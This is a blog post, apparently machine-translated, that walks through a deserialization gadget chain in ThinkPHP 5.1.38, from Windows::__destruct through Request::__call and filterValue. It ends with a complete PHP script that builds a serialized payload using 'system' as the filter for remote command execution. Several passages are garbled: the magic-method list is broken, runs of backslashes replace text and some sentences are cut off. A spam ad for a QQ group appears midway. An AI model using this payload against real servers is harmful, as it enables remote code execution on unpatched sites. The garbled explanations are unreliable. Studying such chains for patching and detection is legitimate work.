ThinkPHP v5.1.x POP chain analysis

Environment: Mac OS 10.13 mamap prophp 7.0.33 + xdebugvistudio code preface POP Chain I understand: using magic methods and ingeniously constructing special properties to call a series of functions or class methods to perform a sensitive operation call stack deserialization common magic functions


Preface
POP Chain as I understand it:
A call stack that uses magic methods and ingeniously constructs special properties to call a series of functions or class methods to perform some sensitive operation

Deserializing common magic functions

  1.  1 __wakeup, unserialize() before execution.
     2 \
     3. The response method when a class is treated as a string
     4. Construct() is called automatically when the object is created (new). Note that
     5 unserialize() is not called automatically
     6 sleep() is called first when serialize()
     7 __call() calls when an invocable method is invoked in an object.
     8 __callStatic(), invoking an access method in a static manner.
     9 \u get(), called when getting the member variable of a class
     Called when setting the member variable of a class
     11 \u isset(), called when isset() or empty() is called on an inaccessible property
     12. Unset() is called when unset() is called on an inaccessible property.
    This function will be called first when executing unserialize()
    14. Response method when the class is treated as a string
     15 \\
    This static method is called when var export() is called to export a class.
    17 \u clone(), called when the object replication is complete
     18 autoload() trying to load an undefined class
     19 debuginfo(), print the required debugging information

     

 

Phar files expand the attack area through phar: / / pseudo protocol. Because phar files store user-defined meta data in the form of serialization, under the condition that the parameters of file system functions (file ﹐ exists(), is ﹐ dir(), etc.) are controllable, with phar: / / pseudo protocol, you can directly de serialize without relying on unserialize(). For more details, please go to: https://paper.seebug.org/680/

If you don't know about deserialization, it's recommended to learn the relevant content first. ThinkPHP v5.1.x POP chain analysis and installation. Here, the official ThinkPHP V5.1.38composer deployment composer create project topthink / think = 5.1.38 tp5.1.38 uses the chain global search function

Go to / think PHP / library / think / process / pipes / windows.php

  1.  1 public function __destruct()
     2     {
     3         $this->close();
     4         $this->removeFiles();
     5     }
     6     . . .  . . . 
     7     /**
     8      * Delete temporary files
     9      */
    10     private function removeFiles()
    11     {
    12         foreach ($this->files as $filename) {
    13             if (file_exists($filename)) {
    14                 @unlink($filename);
    15             }
    16         }
    17         $this->files = [];
    18     }

     

 

Look at the description o f file exists

  1. 1 ile_exists ( string $filename ) 
Copy code

: bool if the passed in $filename is a deserialized object, when it is treated as a string by file exists, its \\\\\\\\\\\

Go to / think PHP / library / think / model / concert / conversion.php

  1. 1 public function toJson($options = JSON_UNESCAPED_UNICODE)
    2     {
    3         return json_encode($this->toArray(), $options);
    4     }
    5     . . .   . . . 
    6     public function __toString()
    7     {
    8         return $this->toJson();
    9     }

     

 

As you can see, the toArray() function is call ed again in the toJson() function. If there is a method with a controllable variable in the toArray() function, then we can use this to trigger the \\\\\\\\\\\\\- >Visible ($name); becomes the middle springboard of this POP chain

phper always encounters some problems and bottlenecks when it is advanced. There is no sense of direction when it writes more business code. I don't know where to start to improve. For this, I collated some data, including but not limited to: distributed architecture, high scalability, high performance, high concurrency, server performance tuning, TP6, laravel, YII2, Redis, Swoole, Kafka, Mysql optimization, shell script, D Ocker, microservice, Nginx and other advanced advanced dry goods can be shared for free. What you need (click →) is my official group 677079770 https://jq.qq.com/?_wv=1027&k=5BoEMVl

  1.  1 public function toArray()
     2 {
     3     $item       = [];
     4     $hasVisible = false;
     5     . . .   . . .
     6     // Append property (must define an accessor)
     7     if (!empty($this->append)) {
     8         foreach ($this->append as $key => $name) {
     9             if (is_array($name)) {
    10                 // Append associated object properties
    11                 $relation = $this->getRelation($key);
    12                 if (!$relation) {
    13                     $relation = $this->getAttr($key);
    14                     if ($relation) {
    15                         $relation->visible($name);
    16                     }
    17                 }
    18                 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    19             } elseif (strpos($name, '.')) {
    20            . . .   . . .   
    21             } else {
    22                 $item[$name] = $this->getAttr($name, $item);
    23             }
    24         }
    25     }
    26     return $item;
    27 }

     

 

What kind of value and data should we pass in here? Let's see how $relation is processed first

Follow up getRelation and find function definition in / think PHP / library / think / model / concert / relationship.php

  1.  1 trait RelationShip
     2 {
     3     . . .   . . . 
     4     /**
     5      * Get the associated model data of the current model
     6      * @access public
     7      * @param  string $name Association method name
     8      * @return mixed
     9      */
    10     public function getRelation($name = null)
    11     {
    12         if (is_null($name)) {
    13             return $this->relation;
    14         } elseif (array_key_exists($name, $this->relation)) {
    15             return $this->relation[$name];
    16         }
    17         return;
    18     }
    19     . . .   . . . 
    20 }

     

 

Because getRelation will return; eventually, it will return NULL, so the following if (!$relation) must be true. So follow up getAttr directly, and find its definition in / think PHP / library / think / model / concern / attribute.php

  1.  1 trait Attribute
     2 {
     3     . . .   . . .
     4     public function getData($name = null)
     5     {
     6         if (is_null($name)) {
     7             return $this->data;
     8         } elseif (array_key_exists($name, $this->data)) {
     9             return $this->data[$name];
    10         } elseif (array_key_exists($name, $this->relation)) {
    11             return $this->relation[$name];
    12         }
    13         throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    14     }
    15     . . .   . . . 
    16     public function getAttr($name, &$item = null)
    17     {
    18         try {
    19             $notFound = false;
    20             $value    = $this->getData($name);
    21         } catch (InvalidArgumentException $e) {
    22             $notFound = true;
    23             $value    = null;
    24         }
    25         . . .  . . . 
    26     }
    27 }

     

From getattr - > GetData, return the element value with the same key value in the data array, that is, $relation < --- $this - > data [$name]. The $data and $append we need are located in the Attribute and Conversion respectively, and both of them are of the Trait type, which is similar to Class. It is a code reuse method implemented in PHP 5.4.0, and can be loaded using use

For details, please refer to the official manual PHP: Transit - Manual

So the next step is to find a class that uses both Attribute and Conversion

It is found that only / think PHP / library / think / model.php meets the conditions

  1. 1 abstract class Model implements \JsonSerializable, \ArrayAccess
    2 {
    3     use model\concern\Attribute;
    4     use model\concern\RelationShip;
    5     use model\concern\ModelEvent;
    6     use model\concern\TimeStamp;
    7     use model\concern\Conversion;
    8     . . .   . . .
    9 }

     

Next, you need to find a class without visible method but with call method as the execution point to find the Request class in / think PHP / library / think / Request.php

  1.  1 class Request
     2 {
     3     . . .   . . . 
     4     /**
     5      * Extension method
     6      * @var array
     7      */
     8     protected $hook = [];
     9     . . .   . . . 
    10     public function __call($method, $args)
    11     {
    12         if (array_key_exists($method, $this->hook)) {
    13             array_unshift($args, $this);
    14             return call_user_func_array($this->hook[$method], $args);
    15         }
    16         throw new Exception('method not exists:' . static::class . '->' . $method);
    17     }
    18     . . .   . . .
    19 }

     

The callback parameter here comes from the $hook array, and the method name and parameter are controllable. However, the array "unshift function will put several elements at the beginning of the array

  1.  1  $queue = array("orange", "banana");
     2 array_unshift($queue, "apple", "raspberry");
     3 print_r($queue);
     4 ///
     5 Array
     6 (
     7     [0] => apple
     8     [1] => raspberry
     9     [2] => orange
    10     [3] => banana
    11 )

     

In this way, it's obviously difficult to execute the command, because the first element of the parameter array is always $this, which can't directly execute the command we want. We need some other function that is not so sensitive to the parameter as a new execution point or springboard Request class. There is a filterValue function with filtering function to find the place to call filterValue in order to control $val UE and $filters to execute commands

  1.  1 private function filterValue(&$value, $key, $filters)
     2     {
     3         $default = array_pop($filters);
     4         foreach ($filters as $filter) {
     5             if (is_callable($filter)) {
     6                 // Call function or method filtering
     7                 $value = call_user_func($filter, $value);
     8             } elseif (is_scalar($value)) {
     9              . . .   . . .         
    10              }
    11         return $value;
    12     }

     

The input function in the Request class calls filterValue from array ﹣ walk ﹣ recursive, but the parameter is still uncontrollable. Look up the call point

  1.  1 public function input($data = [], $name = '', $default = null, $filter = '')
     2     {
     3         if (false === $name) {
     4             // Get raw data
     5             return $data;
     6         }
     7         $name = (string) $name;
     8         if ('' != $name) {
     9             // analysis name
    10             if (strpos($name, '/')) {
    11                 list($name, $type) = explode('/', $name);
    12             }
    13             $data = $this->getData($data, $name);
    14             if (is_null($data)) {
    15                 return $default;
    16             }
    17             if (is_object($data)) {
    18                 return $data;
    19             }
    20         }
    21         // Analytic filter
    22         $filter = $this->getFilter($filter, $default);
    23         if (is_array($data)) {
    24             array_walk_recursive($data, [$this, 'filterValue'], $filter);
    25             if (version_compare(PHP_VERSION, '7.1.0', '<')) {
    26                 // recovery PHP Version less than 7.1 Time array_walk_recursive Internal pointer consumed in
    27                 $this->arrayReset($data);
    28             }
    29         } else {
    30             $this->filterValue($data, $name, $filter);
    31         }
    32         . . .   . . . 
    33         return $data;
    34     }

     

Copy code

The param function in the Request class calls the input function, but the same parameters are uncontrollable, and then look up the call point

  1.  1 public function param($name = '', $default = null, $filter = '')
     2     {
     3         . . .   . . .
     4         if (true === $name) {
     5             // Get an array containing file upload information
     6             $file = $this->file();
     7             $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
     8             return $this->input($data, '', $default, $filter);
     9         }
    10         return $this->input($this->param, $name, $default, $filter);
    11     }

     

Go to the definition of isAjax function

  1.  1 public function isAjax($ajax = false)
     2     {
     3         $value  = $this->server('HTTP_X_REQUESTED_WITH');
     4         $result = 'xmlhttprequest' == strtolower($value) ? true : false;
     5         if (true === $ajax) {
     6             return $result;
     7         }
     8         $result           = $this->param($this->config['var_ajax']) ? true : $result;
     9         $this->mergeParam = false;
    10         return $result;
    11     }

     

Here, the $ajax parameter has no limitation on the type, and the param parameter comes from $this - > config, which is controllable. In the last call of param, the input function $this - > param, $name can follow up get and route functions. It's easy to find that the value of $this - > param comes from get request

  1. 1 // Current request parameters and URL Parameter merge in address
    2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    3 /*
    4 http://127.0.0.1:9000/public/?test=pwd
    5 $this->param = array("test"=>"pwd")
    6 */

     

Then go back to the input function to see the processing flow

First, get $data from $this - > GetData ($data, $name), follow up the analysis, and return $data as the value of $data[$val], that is, $data[$name]

  1.  1 protected function getData(array $data, $name)
     2     {
     3         foreach (explode('.', $name) as $val) {
     4             if (isset($data[$val])) {
     5                 $data = $data[$val];
     6             } else {
     7                 return;
     8             }
     9         }
    10         return $data;
    11     }

     

Return to input, and then process $filter = $this - > getfilter ($filter, $default); the two parameters of getfilter are '' and null respectively, which are uncontrollable, but it is easy to see that the value of the last returned $filter is $this - > filter, although the following $filter[] = $default; the filter array will be appended with a null value element, but the array pop function in the following filterValue is positive Okay, it's gone

  1.  1 protected function getFilter($filter, $default)
     2     {
     3         if (is_null($filter)) {
     4             $filter = [];
     5         } else {
     6             $filter = $filter ?: $this->filter;
     7             if (is_string($filter) && false === strpos($filter, '/')) {
     8                 $filter = explode(',', $filter);
     9             } else {
    10                 $filter = (array) $filter;
    11             }
    12         }
    13         $filter[] = $default;
    14         return $filter;
    15     }

     

In this way, we can get a function call chain of controllable variables, and finally execute the command

The following is a simple process to trigger a class of toString() to toArray() function by calling the Windows class \\\\\\\\\\\\\\\\ The value of the quantity is injected into the final callback name and parameter, and then the command is executed through such a series of function calls

  1. 1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

     

Construct Payload

Because the Model class is abstract, it cannot be instantiated, and the extensions Model only has one Pivot class, so use it

  1.  1 <?php
     2 namespace think;
     3 abstract class Model
     4 {
     5     protected $append = [];
     6     private $data = [];
     7     function __construct(){
     8         $this->append = ["a"=>[""]];
     9         $this->data = ["a"=>new Request()];
    10     }
    11 }
    12 namespace think\model;
    13 use think\Model;
    14 class Pivot extends Model
    15 {
    16 }
    17 namespace think\process\pipes;
    18 use think\model\Pivot;
    19 class Windows
    20 {
    21     private $files = [];
    22     public function __construct()
    23     {
    24         $this->files = [new Pivot()];
    25     }
    26 }
    27 namespace think;
    28 class Request
    29 {
    30     protected $hook = [];
    31     protected $filter = "system";
    32     protected $config = [
    33         // Form request type masquerade variable
    34         'var_method'       => '_method',
    35         // form ajax Camouflage variable
    36         'var_ajax'         => '_ajax',
    37         // form pjax Camouflage variable
    38         'var_pjax'         => '_pjax',
    39         // PATHINFO Variable name for compatibility mode
    40         'var_pathinfo'     => 's',
    41         // compatible PATH_INFO Obtain
    42         'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    43         // The default global filter method uses commas to separate multiple
    44         'default_filter'   => '',
    45         // Domain root, such as thinkphp.cn
    46         'url_domain_root'  => '',
    47         // HTTPS Proxy identification
    48         'https_agent_name' => '',
    49         // IP Proxy get identity
    50         'http_agent_ip'    => 'HTTP_X_REAL_IP',
    51         // URL Pseudostatic suffix
    52         'url_html_suffix'  => 'html',
    53     ];
    54     function __construct(){
    55         $this->filter = "system";
    56         $this->config = ["var_ajax"=>''];
    57         $this->hook = ["visible"=>[$this,"isAjax"]];
    58     }
    59 }
    60 use think\process\pipes\Windows;
    61 echo base64_encode(serialize(new Windows()));

     

First construct a deserialization of our content by using points, generate payload, GET the command to be executed, and don't forget urlencode

View call stack

Tags: PHP Windows Attribute Mac

Posted on Sun, 10 Nov 2019 08:45:08 -0500 by lmhart